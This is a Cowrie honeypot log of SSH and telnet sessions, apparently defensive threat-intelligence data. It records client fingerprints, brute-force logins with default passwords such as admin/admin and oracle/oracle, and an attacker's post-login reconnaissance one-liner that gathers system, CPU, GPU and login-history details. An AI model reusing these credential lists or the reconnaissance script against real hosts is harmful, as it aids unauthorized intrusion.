{"eventid":"cowrie.client.kex","hassh":"eff4c24daffc8532c160e86e5f006e53","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group14-sha1,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group1-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group14-sha1","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group1-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: eff4c24daffc8532c160e86e5f006e53","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T15:55:44.796964Z","src_ip":"176.53.159.196","session":"8cb53092177b","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"admin","password":"admin","message":"login attempt [admin/admin] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T15:55:45.086788Z","src_ip":"176.53.159.196","session":"8cb53092177b","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"1.1.1.1","dst_port":53,"src_ip":"176.53.159.196","src_port":0,"message":"direct-tcp connection request to 1.1.1.1:53 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T15:55:45.186384Z","session":"8cb53092177b","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"1.1.1.1","dst_port":53,"data":"b'\\x00\\x16\\xab\\xcd\\x01\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x01a\\x02to\\x00\\x00\\x01\\x00\\x01'","id":0,"message":"discarded direct-tcp forward request 0 to 1.1.1.1:53 with data b'\\x00\\x16\\xab\\xcd\\x01\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x01a\\x02to\\x00\\x00\\x01\\x00\\x01'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T15:55:45.283663Z","src_ip":"176.53.159.196","session":"8cb53092177b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.7","message":"Connection lost after 0.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T15:55:45.387304Z","src_ip":"176.53.159.196","session":"8cb53092177b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":56.48077058792114,"message":"Connection lost after 56 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T15:56:15.541987Z","src_ip":"170.64.224.25","session":"051f438f8e34","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"103.15.222.183","src_port":52256,"dst_ip":"159.203.135.109","dst_port":22,"session":"1f5cac45eba9","protocol":"ssh","message":"New connection: 103.15.222.183:52256 (159.203.135.109:22) [session: 1f5cac45eba9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T15:56:26.667400Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T15:56:26.671628Z","src_ip":"103.15.222.183","session":"1f5cac45eba9","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T15:56:26.906389Z","src_ip":"103.15.222.183","session":"1f5cac45eba9","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"170.64.224.25","src_port":53860,"dst_ip":"159.203.135.109","dst_port":23,"session":"d9796da1ee64","protocol":"telnet","message":"New connection: 170.64.224.25:53860 (159.203.135.109:23) [session: d9796da1ee64]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T15:56:27.327710Z"}
{"eventid":"cowrie.login.failed","username":"root","password":"041287","message":"login attempt [root/041287] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T15:56:27.610899Z","src_ip":"103.15.222.183","session":"1f5cac45eba9","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T15:56:28.848205Z","src_ip":"103.15.222.183","session":"1f5cac45eba9","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"85.215.121.209","src_port":57436,"dst_ip":"10.17.0.5","dst_port":22,"session":"650c7b6c2ca8","protocol":"ssh","message":"New connection: 85.215.121.209:57436 (10.17.0.5:22) [session: 650c7b6c2ca8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T15:56:39.252647Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T15:56:39.256746Z","src_ip":"85.215.121.209","session":"650c7b6c2ca8","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T15:56:39.358692Z","src_ip":"85.215.121.209","session":"650c7b6c2ca8","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"solflarewallet","password":"solflare123","message":"login attempt [solflarewallet/solflare123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T15:56:39.658002Z","src_ip":"85.215.121.209","session":"650c7b6c2ca8","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T15:56:40.759850Z","src_ip":"85.215.121.209","session":"650c7b6c2ca8","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.10","src_port":34730,"dst_ip":"10.17.0.5","dst_port":22,"session":"7d97f265ebaf","protocol":"ssh","message":"New connection: 91.92.40.10:34730 (10.17.0.5:22) [session: 7d97f265ebaf]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T15:57:00.360769Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T15:57:00.574072Z","src_ip":"91.92.40.10","session":"7d97f265ebaf","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"2ec37a7cc8daf20b10e1ad6221061ca5","hasshAlgorithms":"curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group16-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-ctr,aes192-ctr,aes256-ctr,aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,arcfour256,arcfour128,arcfour,3des-cbc,aes128-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group16-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-rsa","rsa-sha2-256","rsa-sha2-512","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519"],"encCS":["aes128-ctr","aes192-ctr","aes256-ctr","aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","arcfour256","arcfour128","arcfour","3des-cbc","aes128-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 2ec37a7cc8daf20b10e1ad6221061ca5","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T15:57:00.578406Z","src_ip":"91.92.40.10","session":"7d97f265ebaf","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"admin","password":"adminadmin","message":"login attempt [admin/adminadmin] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T15:57:01.534707Z","src_ip":"91.92.40.10","session":"7d97f265ebaf","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T15:57:02.179056Z","src_ip":"91.92.40.10","session":"7d97f265ebaf","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"export PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:$PATH; uname=$(uname -s -v -n -m 2>/dev/null || /bin/uname -s -v -n -m 2>/dev/null || /usr/bin/uname -s -v -n -m 2>/dev/null || busybox uname -s -v -n -m 2>/dev/null || ( [ -f /proc/version ] && head -1 /proc/version | cut -d' ' -f1 ) || ( [ -f /etc/os-release ] && grep '^ID=' /etc/os-release | cut -d= -f2 | tr -d '\"' ) || echo \"\"); arch=$(uname -m 2>/dev/null || /bin/uname -m 2>/dev/null || /usr/bin/uname -m 2>/dev/null || busybox uname -m 2>/dev/null || ( [ -f /proc/cpuinfo ] && grep -q \"lm\" /proc/cpuinfo && echo x86_64 ) || ( [ -f /proc/cpuinfo ] && grep -q \"CPU architecture: 8\" /proc/cpuinfo && echo aarch64 ) || ( [ -f /proc/cpuinfo ] && grep -q \"CPU architecture: 7\" /proc/cpuinfo && echo armv7l ) || echo \"\"); uptime=$(cat /proc/uptime 2>/dev/null || busybox cat /proc/uptime 2>/dev/null); cpus=$(nproc 2>/dev/null || /usr/bin/nproc 2>/dev/null || busybox nproc 2>/dev/null || grep -c \"^processor\" /proc/cpuinfo 2>/dev/null); cpu_model=$( { grep -m1 -E \"model name|Hardware\" /proc/cpuinfo 2>/dev/null; lscpu 2>/dev/null | grep \"Model name\"; dmidecode -s processor-version 2>/dev/null; uname -p 2>/dev/null; busybox uname -p 2>/dev/null; } ); gpu_info=$( (lspci 2>/dev/null | grep -i vga; lspci 2>/dev/null | grep -i nvidia; busybox lspci 2>/dev/null | grep -i vga; busybox lspci 2>/dev/null | grep -i nvidia) 2>/dev/null ); last_output=$(last 2>/dev/null); filter_output=$( ( export LANG=C LC_ALL=C; echo '===SHELL_BEHAVIOR==='; printf 'path_err='; ( ./xxxxxx 2>&1 || true ) | head -c 250; printf '\\n'; printf 'cmd_err='; ( xxxxxx 2>&1 || true ) | head -c 250; printf '\\n'; echo '===DONE===' ) 2>&1 ); echo \"UNAME:$uname\"; echo \"ARCH:$arch\"; echo \"UPTIME:$uptime\"; echo \"CPUS:$cpus\"; echo \"CPU_MODEL:$cpu_model\"; echo \"GPU:$gpu_info\"; echo \"LAST:$last_output\"; echo \"FILTER:$filter_output\"","message":"CMD: export PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:$PATH; uname=$(uname -s -v -n -m 2>/dev/null || /bin/uname -s -v -n -m 2>/dev/null || /usr/bin/uname -s -v -n -m 2>/dev/null || busybox uname -s -v -n -m 2>/dev/null || ( [ -f /proc/version ] && head -1 /proc/version | cut -d' ' -f1 ) || ( [ -f /etc/os-release ] && grep '^ID=' /etc/os-release | cut -d= -f2 | tr -d '\"' ) || echo \"\"); arch=$(uname -m 2>/dev/null || /bin/uname -m 2>/dev/null || /usr/bin/uname -m 2>/dev/null || busybox uname -m 2>/dev/null || ( [ -f /proc/cpuinfo ] && grep -q \"lm\" /proc/cpuinfo && echo x86_64 ) || ( [ -f /proc/cpuinfo ] && grep -q \"CPU architecture: 8\" /proc/cpuinfo && echo aarch64 ) || ( [ -f /proc/cpuinfo ] && grep -q \"CPU architecture: 7\" /proc/cpuinfo && echo armv7l ) || echo \"\"); uptime=$(cat /proc/uptime 2>/dev/null || busybox cat /proc/uptime 2>/dev/null); cpus=$(nproc 2>/dev/null || /usr/bin/nproc 2>/dev/null || busybox nproc 2>/dev/null || grep -c \"^processor\" /proc/cpuinfo 2>/dev/null); cpu_model=$( { grep -m1 -E \"model name|Hardware\" /proc/cpuinfo 2>/dev/null; lscpu 2>/dev/null | grep \"Model name\"; dmidecode -s processor-version 2>/dev/null; uname -p 2>/dev/null; busybox uname -p 2>/dev/null; } ); gpu_info=$( (lspci 2>/dev/null | grep -i vga; lspci 2>/dev/null | grep -i nvidia; busybox lspci 2>/dev/null | grep -i vga; busybox lspci 2>/dev/null | grep -i nvidia) 2>/dev/null ); last_output=$(last 2>/dev/null); filter_output=$( ( export LANG=C LC_ALL=C; echo '===SHELL_BEHAVIOR==='; printf 'path_err='; ( ./xxxxxx 2>&1 || true ) | head -c 250; printf '\\n'; printf 'cmd_err='; ( xxxxxx 2>&1 || true ) | head -c 250; printf '\\n'; echo '===DONE===' ) 2>&1 ); echo \"UNAME:$uname\"; echo \"ARCH:$arch\"; echo \"UPTIME:$uptime\"; echo \"CPUS:$cpus\"; echo \"CPU_MODEL:$cpu_model\"; echo \"GPU:$gpu_info\"; echo \"LAST:$last_output\"; echo \"FILTER:$filter_output\"","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T15:57:02.183152Z","src_ip":"91.92.40.10","session":"7d97f265ebaf","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"uname -s -v -n -m 2 > /dev/null","message":"CMD: uname -s -v -n -m 2 > /dev/null","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T15:57:02.186948Z","src_ip":"91.92.40.10","session":"7d97f265ebaf","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"/bin/uname -s -v -n -m 2 > /dev/null","message":"CMD: /bin/uname -s -v -n -m 2 > /dev/null","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T15:57:02.189187Z","src_ip":"91.92.40.10","session":"7d97f265ebaf","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"/usr/bin/uname -s -v -n -m 2 > /dev/null","message":"CMD: /usr/bin/uname -s -v -n -m 2 > /dev/null","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T15:57:02.192304Z","src_ip":"91.92.40.10","session":"7d97f265ebaf","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"busybox uname -s -v -n -m 2 > /dev/null","message":"CMD: busybox uname -s -v -n -m 2 > /dev/null","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T15:57:02.196487Z","src_ip":"91.92.40.10","session":"7d97f265ebaf","protocol":"ssh"}
{"eventid":"cowrie.command.success","input":"uname -s -v -n -m","message":"Command found: uname -s -v -n -m","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T15:57:02.200928Z","src_ip":"91.92.40.10","session":"7d97f265ebaf","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"( [ -f /proc/version ]","message":"CMD: ( [ -f /proc/version ]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T15:57:02.204905Z","src_ip":"91.92.40.10","session":"7d97f265ebaf","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"[ -f /proc/version ]","message":"CMD: [ -f /proc/version ]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T15:57:02.209035Z","src_ip":"91.92.40.10","session":"7d97f265ebaf","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"head -1 /proc/version | cut -d -f1","message":"CMD: head -1 /proc/version | cut -d -f1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T15:57:02.213851Z","src_ip":"91.92.40.10","session":"7d97f265ebaf","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"[ -f /etc/os-release ]","message":"CMD: [ -f /etc/os-release ]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T15:57:02.219419Z","src_ip":"91.92.40.10","session":"7d97f265ebaf","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/78d97f76d4b2d07e5354bcb5f6b18fa874edb85af4d63cce3b3fa87c7270d880","size":356,"shasum":"78d97f76d4b2d07e5354bcb5f6b18fa874edb85af4d63cce3b3fa87c7270d880","duplicate":true,"duration":"0.2","message":"Closing TTY Log: var/lib/cowrie/tty/78d97f76d4b2d07e5354bcb5f6b18fa874edb85af4d63cce3b3fa87c7270d880 after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T15:57:02.416314Z","src_ip":"91.92.40.10","session":"7d97f265ebaf","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T15:57:02.878348Z","src_ip":"91.92.40.10","session":"7d97f265ebaf","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.176","src_port":52924,"dst_ip":"10.17.0.5","dst_port":22,"session":"26dac54386ae","protocol":"ssh","message":"New connection: 91.92.40.176:52924 (10.17.0.5:22) [session: 26dac54386ae]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T15:57:05.725965Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T15:57:05.734442Z","src_ip":"91.92.40.176","session":"26dac54386ae","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"2ec37a7cc8daf20b10e1ad6221061ca5","hasshAlgorithms":"curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group16-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-ctr,aes192-ctr,aes256-ctr,aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,arcfour256,arcfour128,arcfour,3des-cbc,aes128-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group16-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-rsa","rsa-sha2-256","rsa-sha2-512","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519"],"encCS":["aes128-ctr","aes192-ctr","aes256-ctr","aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","arcfour256","arcfour128","arcfour","3des-cbc","aes128-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 2ec37a7cc8daf20b10e1ad6221061ca5","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T15:57:05.816546Z","src_ip":"91.92.40.176","session":"26dac54386ae","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"oracle","password":"oracle","message":"login attempt [oracle/oracle] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T15:57:06.092725Z","src_ip":"91.92.40.176","session":"26dac54386ae","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T15:57:06.300047Z","src_ip":"91.92.40.176","session":"26dac54386ae","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"export PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:$PATH; uname=$(uname -s -v -n -m 2>/dev/null || /bin/uname -s -v -n -m 2>/dev/null || /usr/bin/uname -s -v -n -m 2>/dev/null || busybox uname -s -v -n -m 2>/dev/null || ( [ -f /proc/version ] && head -1 /proc/version | cut -d' ' -f1 ) || ( [ -f /etc/os-release ] && grep '^ID=' /etc/os-release | cut -d= -f2 | tr -d '\"' ) || echo \"\"); arch=$(uname -m 2>/dev/null || /bin/uname -m 2>/dev/null || /usr/bin/uname -m 2>/dev/null || busybox uname -m 2>/dev/null || ( [ -f /proc/cpuinfo ] && grep -q \"lm\" /proc/cpuinfo && echo x86_64 ) || ( [ -f /proc/cpuinfo ] && grep -q \"CPU architecture: 8\" /proc/cpuinfo && echo aarch64 ) || ( [ -f /proc/cpuinfo ] && grep -q \"CPU architecture: 7\" /proc/cpuinfo && echo armv7l ) || echo \"\"); uptime=$(cat /proc/uptime 2>/dev/null || busybox cat /proc/uptime 2>/dev/null); cpus=$(nproc 2>/dev/null || /usr/bin/nproc 2>/dev/null || busybox nproc 2>/dev/null || grep -c \"^processor\" /proc/cpuinfo 2>/dev/null); cpu_model=$( { lscpu 2>/dev/null | awk -F: '/Model name/ {print $2}'; grep -m1 -E \"^model name\" /proc/cpuinfo 2>/dev/null | cut -d: -f2-; grep -m1 -E \"^Hardware\" /proc/cpuinfo 2>/dev/null | cut -d: -f2-; cat /proc/device-tree/model 2>/dev/null; } | sed '/^$/d; /unknown/d; s/^[[:space:]]*//; s/[[:space:]]*$//; s/ AArch64 Processor$//; s/ Processor$//; s/ CPU$//' | head -1 ); gpu_info=$( (lspci 2>/dev/null | grep -i vga; lspci 2>/dev/null | grep -i nvidia; busybox lspci 